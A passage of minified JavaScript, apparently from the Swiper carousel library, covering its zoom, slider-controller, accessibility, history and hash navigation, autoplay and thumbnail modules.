0,isMoved:void 0,currentX:void 0,currentY:void 0,minX:void 0,minY:void 0,maxX:void 0,maxY:void 0,width:void 0,height:void 0,startX:void 0,startY:void 0,touchesStart:{},touchesCurrent:{}},g={x:void 0,y:void 0,prevPositionX:void 0,prevPositionY:void 0,prevTime:void 0};let v=1;function b(){if(u.length<2)return 1;const e=u[0].pageX,t=u[0].pageY,s=u[1].pageX,a=u[1].pageY;return Math.sqrt((s-e)**2+(a-t)**2)}function y(e){const s=t.isElement?"swiper-slide":`.${t.params.slideClass}`;return!!e.target.matches(s)||t.slides.filter((t=>t.contains(e.target))).length>0}function x(e){if("mouse"===e.pointerType&&u.splice(0,u.length),!y(e))return;const s=t.params.zoom;if(l=!1,o=!1,u.push(e),!(u.length<2)){if(l=!0,m.scaleStart=b(),!m.slideEl){m.slideEl=e.target.closest(`.${t.params.slideClass}, swiper-slide`),m.slideEl||(m.slideEl=t.slides[t.activeIndex]);let a=m.slideEl.querySelector(`.${s.containerClass}`);if(a&&(a=a.querySelectorAll("picture, img, svg, canvas, .swiper-zoom-target")[0]),m.imageEl=a,m.imageWrapEl=a?E(m.imageEl,`.${s.containerClass}`)[0]:void 0,!m.imageWrapEl)return void(m.imageEl=void 0);m.maxRatio=m.imageWrapEl.getAttribute("data-swiper-zoom")||s.maxRatio}if(m.imageEl){const[e,t]=function(){if(u.length<2)return{x:null,y:null};const e=m.imageEl.getBoundingClientRect();return[(u[0].pageX+(u[1].pageX-u[0].pageX)/2-e.x-n.scrollX)/c,(u[0].pageY+(u[1].pageY-u[0].pageY)/2-e.y-n.scrollY)/c]}();m.originX=e,m.originY=t,m.imageEl.style.transitionDuration="0ms"}p=!0}}function S(e){if(!y(e))return;const s=t.params.zoom,a=t.zoom,i=u.findIndex((t=>t.pointerId===e.pointerId));i>=0&&(u[i]=e),u.length<2||(o=!0,m.scaleMove=b(),m.imageEl&&(a.scale=m.scaleMove/m.scaleStart*c,a.scale>m.maxRatio&&(a.scale=m.maxRatio-1+(a.scale-m.maxRatio+1)**.5),a.scale<s.minRatio&&(a.scale=s.minRatio+1-(s.minRatio-a.scale+1)**.5),m.imageEl.style.transform=`translate3d(0,0,0) scale(${a.scale})`))}function T(e){if(!y(e))return;if("mouse"===e.pointerType&&"pointerout"===e.type)return;const s=t.params.zoom,a=t.zoom,i=u.findIndex((t=>t.pointerId===e.pointerId));i>=0&&u.splice(i,1),l&&o&&(l=!1,o=!1,m.imageEl&&(a.scale=Math.max(Math.min(a.scale,m.maxRatio),s.minRatio),m.imageEl.style.transitionDuration=`${t.params.speed}ms`,m.imageEl.style.transform=`translate3d(0,0,0) scale(${a.scale})`,c=a.scale,p=!1,a.scale>1&&m.slideEl?m.slideEl.classList.add(`${s.zoomedSlideClass}`):a.scale<=1&&m.slideEl&&m.slideEl.classList.remove(`${s.zoomedSlideClass}`),1===a.scale&&(m.originX=0,m.originY=0,m.slideEl=void 0)))}function M(e){if(!y(e)||!function(e){const s=`.${t.params.zoom.containerClass}`;return!!e.target.matches(s)||[...t.hostEl.querySelectorAll(s)].filter((t=>t.contains(e.target))).length>0}(e))return;const s=t.zoom;if(!m.imageEl)return;if(!h.isTouched||!m.slideEl)return;h.isMoved||(h.width=m.imageEl.offsetWidth,h.height=m.imageEl.offsetHeight,h.startX=d(m.imageWrapEl,"x")||0,h.startY=d(m.imageWrapEl,"y")||0,m.slideWidth=m.slideEl.offsetWidth,m.slideHeight=m.slideEl.offsetHeight,m.imageWrapEl.style.transitionDuration="0ms");const a=h.width*s.scale,i=h.height*s.scale;if(a<m.slideWidth&&i<m.slideHeight)return;h.minX=Math.min(m.slideWidth/2-a/2,0),h.maxX=-h.minX,h.minY=Math.min(m.slideHeight/2-i/2,0),h.maxY=-h.minY,h.touchesCurrent.x=u.length>0?u[0].pageX:e.pageX,h.touchesCurrent.y=u.length>0?u[0].pageY:e.pageY;if(Math.max(Math.abs(h.touchesCurrent.x-h.touchesStart.x),Math.abs(h.touchesCurrent.y-h.touchesStart.y))>5&&(t.allowClick=!1),!h.isMoved&&!p){if(t.isHorizontal()&&(Math.floor(h.minX)===Math.floor(h.startX)&&h.touchesCurrent.x<h.touchesStart.x||Math.floor(h.maxX)===Math.floor(h.startX)&&h.touchesCurrent.x>h.touchesStart.x))return void(h.isTouched=!1);if(!t.isHorizontal()&&(Math.floor(h.minY)===Math.floor(h.startY)&&h.touchesCurrent.y<h.touchesStart.y||Math.floor(h.maxY)===Math.floor(h.startY)&&h.touchesCurrent.y>h.touchesStart.y))return void(h.isTouched=!1)}e.cancelable&&e.preventDefault(),e.stopPropagation(),h.isMoved=!0;const r=(s.scale-c)/(m.maxRatio-t.params.zoom.minRatio),{originX:n,originY:l}=m;h.currentX=h.touchesCurrent.x-h.touchesStart.x+h.startX+r*(h.width-2*n),h.currentY=h.touchesCurrent.y-h.touchesStart.y+h.startY+r*(h.height-2*l),h.currentX<h.minX&&(h.currentX=h.minX+1-(h.minX-h.currentX+1)**.8),h.currentX>h.maxX&&(h.currentX=h.maxX-1+(h.currentX-h.maxX+1)**.8),h.currentY<h.minY&&(h.currentY=h.minY+1-(h.minY-h.currentY+1)**.8),h.currentY>h.maxY&&(h.currentY=h.maxY-1+(h.currentY-h.maxY+1)**.8),g.prevPositionX||(g.prevPositionX=h.touchesCurrent.x),g.prevPositionY||(g.prevPositionY=h.touchesCurrent.y),g.prevTime||(g.prevTime=Date.now()),g.x=(h.touchesCurrent.x-g.prevPositionX)/(Date.now()-g.prevTime)/2,g.y=(h.touchesCurrent.y-g.prevPositionY)/(Date.now()-g.prevTime)/2,Math.abs(h.touchesCurrent.x-g.prevPositionX)<2&&(g.x=0),Math.abs(h.touchesCurrent.y-g.prevPositionY)<2&&(g.y=0),g.prevPositionX=h.touchesCurrent.x,g.prevPositionY=h.touchesCurrent.y,g.prevTime=Date.now(),m.imageWrapEl.style.transform=`translate3d(${h.currentX}px, ${h.currentY}px,0)`}function C(){const e=t.zoom;m.slideEl&&t.activeIndex!==t.slides.indexOf(m.slideEl)&&(m.imageEl&&(m.imageEl.style.transform="translate3d(0,0,0) scale(1)"),m.imageWrapEl&&(m.imageWrapEl.style.transform="translate3d(0,0,0)"),m.slideEl.classList.remove(`${t.params.zoom.zoomedSlideClass}`),e.scale=1,c=1,m.slideEl=void 0,m.imageEl=void 0,m.imageWrapEl=void 0,m.originX=0,m.originY=0)}function P(e){const s=t.zoom,a=t.params.zoom;if(!m.slideEl){e&&e.target&&(m.slideEl=e.target.closest(`.${t.params.slideClass}, swiper-slide`)),m.slideEl||(t.params.virtual&&t.params.virtual.enabled&&t.virtual?m.slideEl=f(t.slidesEl,`.${t.params.slideActiveClass}`)[0]:m.slideEl=t.slides[t.activeIndex]);let s=m.slideEl.querySelector(`.${a.containerClass}`);s&&(s=s.querySelectorAll("picture, img, svg, canvas, .swiper-zoom-target")[0]),m.imageEl=s,m.imageWrapEl=s?E(m.imageEl,`.${a.containerClass}`)[0]:void 0}if(!m.imageEl||!m.imageWrapEl)return;let i,r,l,o,d,p,u,g,v,b,y,x,S,T,M,C,P,L;t.params.cssMode&&(t.wrapperEl.style.overflow="hidden",t.wrapperEl.style.touchAction="none"),m.slideEl.classList.add(`${a.zoomedSlideClass}`),void 0===h.touchesStart.x&&e?(i=e.pageX,r=e.pageY):(i=h.touchesStart.x,r=h.touchesStart.y);const A="number"==typeof e?e:null;1===c&&A&&(i=void 0,r=void 0),s.scale=A||m.imageWrapEl.getAttribute("data-swiper-zoom")||a.maxRatio,c=A||m.imageWrapEl.getAttribute("data-swiper-zoom")||a.maxRatio,!e||1===c&&A?(u=0,g=0):(P=m.slideEl.offsetWidth,L=m.slideEl.offsetHeight,l=w(m.slideEl).left+n.scrollX,o=w(m.slideEl).top+n.scrollY,d=l+P/2-i,p=o+L/2-r,v=m.imageEl.offsetWidth,b=m.imageEl.offsetHeight,y=v*s.scale,x=b*s.scale,S=Math.min(P/2-y/2,0),T=Math.min(L/2-x/2,0),M=-S,C=-T,u=d*s.scale,g=p*s.scale,u<S&&(u=S),u>M&&(u=M),g<T&&(g=T),g>C&&(g=C)),A&&1===s.scale&&(m.originX=0,m.originY=0),m.imageWrapEl.style.transitionDuration="300ms",m.imageWrapEl.style.transform=`translate3d(${u}px, ${g}px,0)`,m.imageEl.style.transitionDuration="300ms",m.imageEl.style.transform=`translate3d(0,0,0) scale(${s.scale})`}function L(){const e=t.zoom,s=t.params.zoom;if(!m.slideEl){t.params.virtual&&t.params.virtual.enabled&&t.virtual?m.slideEl=f(t.slidesEl,`.${t.params.slideActiveClass}`)[0]:m.slideEl=t.slides[t.activeIndex];let e=m.slideEl.querySelector(`.${s.containerClass}`);e&&(e=e.querySelectorAll("picture, img, svg, canvas, .swiper-zoom-target")[0]),m.imageEl=e,m.imageWrapEl=e?E(m.imageEl,`.${s.containerClass}`)[0]:void 0}m.imageEl&&m.imageWrapEl&&(t.params.cssMode&&(t.wrapperEl.style.overflow="",t.wrapperEl.style.touchAction=""),e.scale=1,c=1,m.imageWrapEl.style.transitionDuration="300ms",m.imageWrapEl.style.transform="translate3d(0,0,0)",m.imageEl.style.transitionDuration="300ms",m.imageEl.style.transform="translate3d(0,0,0) scale(1)",m.slideEl.classList.remove(`${s.zoomedSlideClass}`),m.slideEl=void 0,m.originX=0,m.originY=0)}function A(e){const s=t.zoom;s.scale&&1!==s.scale?L():P(e)}function I(){return{passiveListener:!!t.params.passiveListeners&&{passive:!0,capture:!1},activeListenerWithCapture:!t.params.passiveListeners||{passive:!1,capture:!0}}}function z(){const e=t.zoom;if(e.enabled)return;e.enabled=!0;const{passiveListener:s,activeListenerWithCapture:a}=I();t.wrapperEl.addEventListener("pointerdown",x,s),t.wrapperEl.addEventListener("pointermove",S,a),["pointerup","pointercancel","pointerout"].forEach((e=>{t.wrapperEl.addEventListener(e,T,s)})),t.wrapperEl.addEventListener("pointermove",M,a)}function $(){const e=t.zoom;if(!e.enabled)return;e.enabled=!1;const{passiveListener:s,activeListenerWithCapture:a}=I();t.wrapperEl.removeEventListener("pointerdown",x,s),t.wrapperEl.removeEventListener("pointermove",S,a),["pointerup","pointercancel","pointerout"].forEach((e=>{t.wrapperEl.removeEventListener(e,T,s)})),t.wrapperEl.removeEventListener("pointermove",M,a)}Object.defineProperty(t.zoom,"scale",{get:()=>v,set(e){if(v!==e){const t=m.imageEl,s=m.slideEl;i("zoomChange",e,t,s)}v=e}}),a("init",(()=>{t.params.zoom.enabled&&z()})),a("destroy",(()=>{$()})),a("touchStart",((e,s)=>{t.zoom.enabled&&function(e){const s=t.device;if(!m.imageEl)return;if(h.isTouched)return;s.android&&e.cancelable&&e.preventDefault(),h.isTouched=!0;const a=u.length>0?u[0]:e;h.touchesStart.x=a.pageX,h.touchesStart.y=a.pageY}(s)})),a("touchEnd",((e,s)=>{t.zoom.enabled&&function(){const e=t.zoom;if(!m.imageEl)return;if(!h.isTouched||!h.isMoved)return h.isTouched=!1,void(h.isMoved=!1);h.isTouched=!1,h.isMoved=!1;let s=300,a=300;const i=g.x*s,r=h.currentX+i,n=g.y*a,l=h.currentY+n;0!==g.x&&(s=Math.abs((r-h.currentX)/g.x)),0!==g.y&&(a=Math.abs((l-h.currentY)/g.y));const o=Math.max(s,a);h.currentX=r,h.currentY=l;const d=h.width*e.scale,c=h.height*e.scale;h.minX=Math.min(m.slideWidth/2-d/2,0),h.maxX=-h.minX,h.minY=Math.min(m.slideHeight/2-c/2,0),h.maxY=-h.minY,h.currentX=Math.max(Math.min(h.currentX,h.maxX),h.minX),h.currentY=Math.max(Math.min(h.currentY,h.maxY),h.minY),m.imageWrapEl.style.transitionDuration=`${o}ms`,m.imageWrapEl.style.transform=`translate3d(${h.currentX}px, ${h.currentY}px,0)`}()})),a("doubleTap",((e,s)=>{!t.animating&&t.params.zoom.enabled&&t.zoom.enabled&&t.params.zoom.toggle&&A(s)})),a("transitionEnd",(()=>{t.zoom.enabled&&t.params.zoom.enabled&&C()})),a("slideChange",(()=>{t.zoom.enabled&&t.params.zoom.enabled&&t.params.cssMode&&C()})),Object.assign(t.zoom,{enable:z,disable:$,in:P,out:L,toggle:A})},function(e){let{swiper:t,extendParams:s,on:a}=e;function i(e,t){const s=function(){let e,t,s;return(a,i)=>{for(t=-1,e=a.length;e-t>1;)s=e+t>>1,a[s]<=i?t=s:e=s;return e}}();let a,i;return this.x=e,this.y=t,this.lastIndex=e.length-1,this.interpolate=function(e){return e?(i=s(this.x,e),a=i-1,(e-this.x[a])*(this.y[i]-this.y[a])/(this.x[i]-this.x[a])+this.y[a]):0},this}function r(){t.controller.control&&t.controller.spline&&(t.controller.spline=void 0,delete t.controller.spline)}s({controller:{control:void 0,inverse:!1,by:"slide"}}),t.controller={control:void 0},a("beforeInit",(()=>{if("undefined"!=typeof window&&("string"==typeof t.params.controller.control||t.params.controller.control instanceof HTMLElement)){const e=document.querySelector(t.params.controller.control);if(e&&e.swiper)t.controller.control=e.swiper;else if(e){const s=a=>{t.controller.control=a.detail[0],t.update(),e.removeEventListener("init",s)};e.addEventListener("init",s)}}else t.controller.control=t.params.controller.control})),a("update",(()=>{r()})),a("resize",(()=>{r()})),a("observerUpdate",(()=>{r()})),a("setTranslate",((e,s,a)=>{t.controller.control&&!t.controller.control.destroyed&&t.controller.setTranslate(s,a)})),a("setTransition",((e,s,a)=>{t.controller.control&&!t.controller.control.destroyed&&t.controller.setTransition(s,a)})),Object.assign(t.controller,{setTranslate:function(e,s){const a=t.controller.control;let r,n;const l=t.constructor;function o(e){if(e.destroyed)return;const s=t.rtlTranslate?-t.translate:t.translate;"slide"===t.params.controller.by&&(!function(e){t.controller.spline=t.params.loop?new i(t.slidesGrid,e.slidesGrid):new i(t.snapGrid,e.snapGrid)}(e),n=-t.controller.spline.interpolate(-s)),n&&"container"!==t.params.controller.by||(r=(e.maxTranslate()-e.minTranslate())/(t.maxTranslate()-t.minTranslate()),!Number.isNaN(r)&&Number.isFinite(r)||(r=1),n=(s-t.minTranslate())*r+e.minTranslate()),t.params.controller.inverse&&(n=e.maxTranslate()-n),e.updateProgress(n),e.setTranslate(n,t),e.updateActiveIndex(),e.updateSlidesClasses()}if(Array.isArray(a))for(let e=0;e<a.length;e+=1)a[e]!==s&&a[e]instanceof l&&o(a[e]);else a instanceof l&&s!==a&&o(a)},setTransition:function(e,s){const a=t.constructor,i=t.controller.control;let r;function n(s){s.destroyed||(s.setTransition(e,t),0!==e&&(s.transitionStart(),s.params.autoHeight&&l((()=>{s.updateAutoHeight()})),x(s.wrapperEl,(()=>{i&&s.transitionEnd()}))))}if(Array.isArray(i))for(r=0;r<i.length;r+=1)i[r]!==s&&i[r]instanceof a&&n(i[r]);else i instanceof a&&s!==i&&n(i)}})},function(e){let{swiper:t,extendParams:s,on:a}=e;s({a11y:{enabled:!0,notificationClass:"swiper-notification",prevSlideMessage:"Previous slide",nextSlideMessage:"Next slide",firstSlideMessage:"This is the first slide",lastSlideMessage:"This is the last slide",paginationBulletMessage:"Go to slide {{index}}",slideLabelMessage:"{{index}} / {{slidesLength}}",containerMessage:null,containerRoleDescriptionMessage:null,itemRoleDescriptionMessage:null,slideRole:"group",id:null}}),t.a11y={clicked:!1};let i=null;function r(e){const t=i;0!==t.length&&(t.innerHTML="",t.innerHTML=e)}const n=e=>(Array.isArray(e)?e:[e]).filter((e=>!!e));function l(e){(e=n(e)).forEach((e=>{e.setAttribute("tabIndex","0")}))}function o(e){(e=n(e)).forEach((e=>{e.setAttribute("tabIndex","-1")}))}function d(e,t){(e=n(e)).forEach((e=>{e.setAttribute("role",t)}))}function c(e,t){(e=n(e)).forEach((e=>{e.setAttribute("aria-roledescription",t)}))}function p(e,t){(e=n(e)).forEach((e=>{e.setAttribute("aria-label",t)}))}function u(e){(e=n(e)).forEach((e=>{e.setAttribute("aria-disabled",!0)}))}function m(e){(e=n(e)).forEach((e=>{e.setAttribute("aria-disabled",!1)}))}function h(e){if(13!==e.keyCode&&32!==e.keyCode)return;const s=t.params.a11y,a=e.target;t.pagination&&t.pagination.el&&(a===t.pagination.el||t.pagination.el.contains(e.target))&&!e.target.matches(se(t.params.pagination.bulletClass))||(t.navigation&&t.navigation.nextEl&&a===t.navigation.nextEl&&(t.isEnd&&!t.params.loop||t.slideNext(),t.isEnd?r(s.lastSlideMessage):r(s.nextSlideMessage)),t.navigation&&t.navigation.prevEl&&a===t.navigation.prevEl&&(t.isBeginning&&!t.params.loop||t.slidePrev(),t.isBeginning?r(s.firstSlideMessage):r(s.prevSlideMessage)),t.pagination&&a.matches(se(t.params.pagination.bulletClass))&&a.click())}function f(){return t.pagination&&t.pagination.bullets&&t.pagination.bullets.length}function g(){return f()&&t.params.pagination.clickable}const w=(e,t,s)=>{l(e),"BUTTON"!==e.tagName&&(d(e,"button"),e.addEventListener("keydown",h)),p(e,s),function(e,t){(e=n(e)).forEach((e=>{e.setAttribute("aria-controls",t)}))}(e,t)},b=()=>{t.a11y.clicked=!0},E=()=>{requestAnimationFrame((()=>{requestAnimationFrame((()=>{t.destroyed||(t.a11y.clicked=!1)}))}))},x=e=>{if(t.a11y.clicked)return;const s=e.target.closest(`.${t.params.slideClass}, swiper-slide`);if(!s||!t.slides.includes(s))return;const a=t.slides.indexOf(s)===t.activeIndex,i=t.params.watchSlidesProgress&&t.visibleSlides&&t.visibleSlides.includes(s);a||i||e.sourceCapabilities&&e.sourceCapabilities.firesTouchEvents||(t.isHorizontal()?t.el.scrollLeft=0:t.el.scrollTop=0,t.slideTo(t.slides.indexOf(s),0))},S=()=>{const e=t.params.a11y;e.itemRoleDescriptionMessage&&c(t.slides,e.itemRoleDescriptionMessage),e.slideRole&&d(t.slides,e.slideRole);const s=t.slides.length;e.slideLabelMessage&&t.slides.forEach(((a,i)=>{const r=t.params.loop?parseInt(a.getAttribute("data-swiper-slide-index"),10):i;p(a,e.slideLabelMessage.replace(/\{\{index\}\}/,r+1).replace(/\{\{slidesLength\}\}/,s))}))},T=()=>{const e=t.params.a11y;t.el.append(i);const s=t.el;e.containerRoleDescriptionMessage&&c(s,e.containerRoleDescriptionMessage),e.containerMessage&&p(s,e.containerMessage);const a=t.wrapperEl,r=e.id||a.getAttribute("id")||`swiper-wrapper-${l=16,void 0===l&&(l=16),"x".repeat(l).replace(/x/g,(()=>Math.round(16*Math.random()).toString(16)))}`;var l;const o=t.params.autoplay&&t.params.autoplay.enabled?"off":"polite";var d;d=r,n(a).forEach((e=>{e.setAttribute("id",d)})),function(e,t){(e=n(e)).forEach((e=>{e.setAttribute("aria-live",t)}))}(a,o),S();let{nextEl:u,prevEl:m}=t.navigation?t.navigation:{};if(u=n(u),m=n(m),u&&u.forEach((t=>w(t,r,e.nextSlideMessage))),m&&m.forEach((t=>w(t,r,e.prevSlideMessage))),g()){n(t.pagination.el).forEach((e=>{e.addEventListener("keydown",h)}))}t.el.addEventListener("focus",x,!0),t.el.addEventListener("pointerdown",b,!0),t.el.addEventListener("pointerup",E,!0)};a("beforeInit",(()=>{i=v("span",t.params.a11y.notificationClass),i.setAttribute("aria-live","assertive"),i.setAttribute("aria-atomic","true")})),a("afterInit",(()=>{t.params.a11y.enabled&&T()})),a("slidesLengthChange snapGridLengthChange slidesGridLengthChange",(()=>{t.params.a11y.enabled&&S()})),a("fromEdge toEdge afterInit lock unlock",(()=>{t.params.a11y.enabled&&function(){if(t.params.loop||t.params.rewind||!t.navigation)return;const{nextEl:e,prevEl:s}=t.navigation;s&&(t.isBeginning?(u(s),o(s)):(m(s),l(s))),e&&(t.isEnd?(u(e),o(e)):(m(e),l(e)))}()})),a("paginationUpdate",(()=>{t.params.a11y.enabled&&function(){const e=t.params.a11y;f()&&t.pagination.bullets.forEach((s=>{t.params.pagination.clickable&&(l(s),t.params.pagination.renderBullet||(d(s,"button"),p(s,e.paginationBulletMessage.replace(/\{\{index\}\}/,y(s)+1)))),s.matches(se(t.params.pagination.bulletActiveClass))?s.setAttribute("aria-current","true"):s.removeAttribute("aria-current")}))}()})),a("destroy",(()=>{t.params.a11y.enabled&&function(){i&&i.remove();let{nextEl:e,prevEl:s}=t.navigation?t.navigation:{};e=n(e),s=n(s),e&&e.forEach((e=>e.removeEventListener("keydown",h))),s&&s.forEach((e=>e.removeEventListener("keydown",h))),g()&&n(t.pagination.el).forEach((e=>{e.removeEventListener("keydown",h)}));t.el.removeEventListener("focus",x,!0),t.el.removeEventListener("pointerdown",b,!0),t.el.removeEventListener("pointerup",E,!0)}()}))},function(e){let{swiper:t,extendParams:s,on:a}=e;s({history:{enabled:!1,root:"",replaceState:!1,key:"slides",keepQuery:!1}});let i=!1,n={};const l=e=>e.toString().replace(/\s+/g,"-").replace(/[^\w-]+/g,"").replace(/--+/g,"-").replace(/^-+/,"").replace(/-+$/,""),o=e=>{const t=r();let s;s=e?new URL(e):t.location;const a=s.pathname.slice(1).split("/").filter((e=>""!==e)),i=a.length;return{key:a[i-2],value:a[i-1]}},d=(e,s)=>{const a=r();if(!i||!t.params.history.enabled)return;let n;n=t.params.url?new URL(t.params.url):a.location;const o=t.slides[s];let d=l(o.getAttribute("data-history"));if(t.params.history.root.length>0){let s=t.params.history.root;"/"===s[s.length-1]&&(s=s.slice(0,s.length-1)),d=`${s}/${e?`${e}/`:""}${d}`}else n.pathname.includes(e)||(d=`${e?`${e}/`:""}${d}`);t.params.history.keepQuery&&(d+=n.search);const c=a.history.state;c&&c.value===d||(t.params.history.replaceState?a.history.replaceState({value:d},null,d):a.history.pushState({value:d},null,d))},c=(e,s,a)=>{if(s)for(let i=0,r=t.slides.length;i<r;i+=1){const r=t.slides[i];if(l(r.getAttribute("data-history"))===s){const s=t.getSlideIndex(r);t.slideTo(s,e,a)}}else t.slideTo(0,e,a)},p=()=>{n=o(t.params.url),c(t.params.speed,n.value,!1)};a("init",(()=>{t.params.history.enabled&&(()=>{const e=r();if(t.params.history){if(!e.history||!e.history.pushState)return t.params.history.enabled=!1,void(t.params.hashNavigation.enabled=!0);i=!0,n=o(t.params.url),n.key||n.value?(c(0,n.value,t.params.runCallbacksOnInit),t.params.history.replaceState||e.addEventListener("popstate",p)):t.params.history.replaceState||e.addEventListener("popstate",p)}})()})),a("destroy",(()=>{t.params.history.enabled&&(()=>{const e=r();t.params.history.replaceState||e.removeEventListener("popstate",p)})()})),a("transitionEnd _freeModeNoMomentumRelease",(()=>{i&&d(t.params.history.key,t.activeIndex)})),a("slideChange",(()=>{i&&t.params.cssMode&&d(t.params.history.key,t.activeIndex)}))},function(e){let{swiper:t,extendParams:s,emit:i,on:n}=e,l=!1;const o=a(),d=r();s({hashNavigation:{enabled:!1,replaceState:!1,watchState:!1,getSlideIndex(e,s){if(t.virtual&&t.params.virtual.enabled){const e=t.slides.filter((e=>e.getAttribute("data-hash")===s))[0];if(!e)return 0;return parseInt(e.getAttribute("data-swiper-slide-index"),10)}return t.getSlideIndex(f(t.slidesEl,`.${t.params.slideClass}[data-hash="${s}"], swiper-slide[data-hash="${s}"]`)[0])}}});const c=()=>{i("hashChange");const e=o.location.hash.replace("#",""),s=t.virtual&&t.params.virtual.enabled?t.slidesEl.querySelector(`[data-swiper-slide-index="${t.activeIndex}"]`):t.slides[t.activeIndex];if(e!==(s?s.getAttribute("data-hash"):"")){const s=t.params.hashNavigation.getSlideIndex(t,e);if(void 0===s||Number.isNaN(s))return;t.slideTo(s)}},p=()=>{if(!l||!t.params.hashNavigation.enabled)return;const e=t.virtual&&t.params.virtual.enabled?t.slidesEl.querySelector(`[data-swiper-slide-index="${t.activeIndex}"]`):t.slides[t.activeIndex],s=e?e.getAttribute("data-hash")||e.getAttribute("data-history"):"";t.params.hashNavigation.replaceState&&d.history&&d.history.replaceState?(d.history.replaceState(null,null,`#${s}`||""),i("hashSet")):(o.location.hash=s||"",i("hashSet"))};n("init",(()=>{t.params.hashNavigation.enabled&&(()=>{if(!t.params.hashNavigation.enabled||t.params.history&&t.params.history.enabled)return;l=!0;const e=o.location.hash.replace("#","");if(e){const s=0,a=t.params.hashNavigation.getSlideIndex(t,e);t.slideTo(a||0,s,t.params.runCallbacksOnInit,!0)}t.params.hashNavigation.watchState&&d.addEventListener("hashchange",c)})()})),n("destroy",(()=>{t.params.hashNavigation.enabled&&t.params.hashNavigation.watchState&&d.removeEventListener("hashchange",c)})),n("transitionEnd _freeModeNoMomentumRelease",(()=>{l&&p()})),n("slideChange",(()=>{l&&t.params.cssMode&&p()}))},function(e){let t,s,{swiper:i,extendParams:r,on:n,emit:l,params:o}=e;i.autoplay={running:!1,paused:!1,timeLeft:0},r({autoplay:{enabled:!1,delay:3e3,waitForTransition:!0,disableOnInteraction:!1,stopOnLastSlide:!1,reverseDirection:!1,pauseOnMouseEnter:!1}});let d,c,p,u,m,h,f,g,v=o&&o.autoplay?o.autoplay.delay:3e3,w=o&&o.autoplay?o.autoplay.delay:3e3,b=(new Date).getTime();function y(e){i&&!i.destroyed&&i.wrapperEl&&e.target===i.wrapperEl&&(i.wrapperEl.removeEventListener("transitionend",y),g||C())}const E=()=>{if(i.destroyed||!i.autoplay.running)return;i.autoplay.paused?c=!0:c&&(w=d,c=!1);const e=i.autoplay.paused?d:b+w-(new Date).getTime();i.autoplay.timeLeft=e,l("autoplayTimeLeft",e,e/v),s=requestAnimationFrame((()=>{E()}))},x=e=>{if(i.destroyed||!i.autoplay.running)return;cancelAnimationFrame(s),E();let a=void 0===e?i.params.autoplay.delay:e;v=i.params.autoplay.delay,w=i.params.autoplay.delay;const r=(()=>{let e;if(e=i.virtual&&i.params.virtual.enabled?i.slides.filter((e=>e.classList.contains("swiper-slide-active")))[0]:i.slides[i.activeIndex],!e)return;return parseInt(e.getAttribute("data-swiper-autoplay"),10)})();!Number.isNaN(r)&&r>0&&void 0===e&&(a=r,v=r,w=r),d=a;const n=i.params.speed,o=()=>{i&&!i.destroyed&&(i.params.autoplay.reverseDirection?!i.isBeginning||i.params.loop||i.params.rewind?(i.slidePrev(n,!0,!0),l("autoplay")):i.params.autoplay.stopOnLastSlide||(i.slideTo(i.slides.length-1,n,!0,!0),l("autoplay")):!i.isEnd||i.params.loop||i.params.rewind?(i.slideNext(n,!0,!0),l("autoplay")):i.params.autoplay.stopOnLastSlide||(i.slideTo(0,n,!0,!0),l("autoplay")),i.params.cssMode&&(b=(new Date).getTime(),requestAnimationFrame((()=>{x()}))))};return a>0?(clearTimeout(t),t=setTimeout((()=>{o()}),a)):requestAnimationFrame((()=>{o()})),a},S=()=>{b=(new Date).getTime(),i.autoplay.running=!0,x(),l("autoplayStart")},T=()=>{i.autoplay.running=!1,clearTimeout(t),cancelAnimationFrame(s),l("autoplayStop")},M=(e,s)=>{if(i.destroyed||!i.autoplay.running)return;clearTimeout(t),e||(f=!0);const a=()=>{l("autoplayPause"),i.params.autoplay.waitForTransition?i.wrapperEl.addEventListener("transitionend",y):C()};if(i.autoplay.paused=!0,s)return h&&(d=i.params.autoplay.delay),h=!1,void a();const r=d||i.params.autoplay.delay;d=r-((new Date).getTime()-b),i.isEnd&&d<0&&!i.params.loop||(d<0&&(d=0),a())},C=()=>{i.isEnd&&d<0&&!i.params.loop||i.destroyed||!i.autoplay.running||(b=(new Date).getTime(),f?(f=!1,x(d)):x(),i.autoplay.paused=!1,l("autoplayResume"))},P=()=>{if(i.destroyed||!i.autoplay.running)return;const e=a();"hidden"===e.visibilityState&&(f=!0,M(!0)),"visible"===e.visibilityState&&C()},L=e=>{"mouse"===e.pointerType&&(f=!0,g=!0,i.animating||i.autoplay.paused||M(!0))},A=e=>{"mouse"===e.pointerType&&(g=!1,i.autoplay.paused&&C())};n("init",(()=>{i.params.autoplay.enabled&&(i.params.autoplay.pauseOnMouseEnter&&(i.el.addEventListener("pointerenter",L),i.el.addEventListener("pointerleave",A)),a().addEventListener("visibilitychange",P),S())})),n("destroy",(()=>{i.el.removeEventListener("pointerenter",L),i.el.removeEventListener("pointerleave",A),a().removeEventListener("visibilitychange",P),i.autoplay.running&&T()})),n("_freeModeStaticRelease",(()=>{(u||f)&&C()})),n("_freeModeNoMomentumRelease",(()=>{i.params.autoplay.disableOnInteraction?T():M(!0,!0)})),n("beforeTransitionStart",((e,t,s)=>{!i.destroyed&&i.autoplay.running&&(s||!i.params.autoplay.disableOnInteraction?M(!0,!0):T())})),n("sliderFirstMove",(()=>{!i.destroyed&&i.autoplay.running&&(i.params.autoplay.disableOnInteraction?T():(p=!0,u=!1,f=!1,m=setTimeout((()=>{f=!0,u=!0,M(!0)}),200)))})),n("touchEnd",(()=>{if(!i.destroyed&&i.autoplay.running&&p){if(clearTimeout(m),clearTimeout(t),i.params.autoplay.disableOnInteraction)return u=!1,void(p=!1);u&&i.params.cssMode&&C(),u=!1,p=!1}})),n("slideChange",(()=>{!i.destroyed&&i.autoplay.running&&(h=!0)})),Object.assign(i.autoplay,{start:S,stop:T,pause:M,resume:C})},function(e){let{swiper:t,extendParams:s,on:i}=e;s({thumbs:{swiper:null,multipleActiveThumbs:!0,autoScrollOffset:0,slideThumbActiveClass:"swiper-slide-thumb-active",thumbsContainerClass:"swiper-thumbs"}});let r=!1,n=!1;function l(){const e=t.thumbs.swiper;if(!e||e.destroyed)return;const s=e.clickedIndex,a=e.clickedSlide;if(a&&a.classList.contains(t.params.thumbs.slideThumbActiveClass))return;if(null==s)return;let i;i=e.params.loop?parseInt(e.clickedSlide.getAttribute("data-swiper-slide-index"),10):s,t.params.loop?t.slideToLoop(i):t.slideTo(i)}function o(){const{thumbs:e}=t.params;if(r)return!1;r=!0;const s=t.constructor;if(e.swiper instanceof 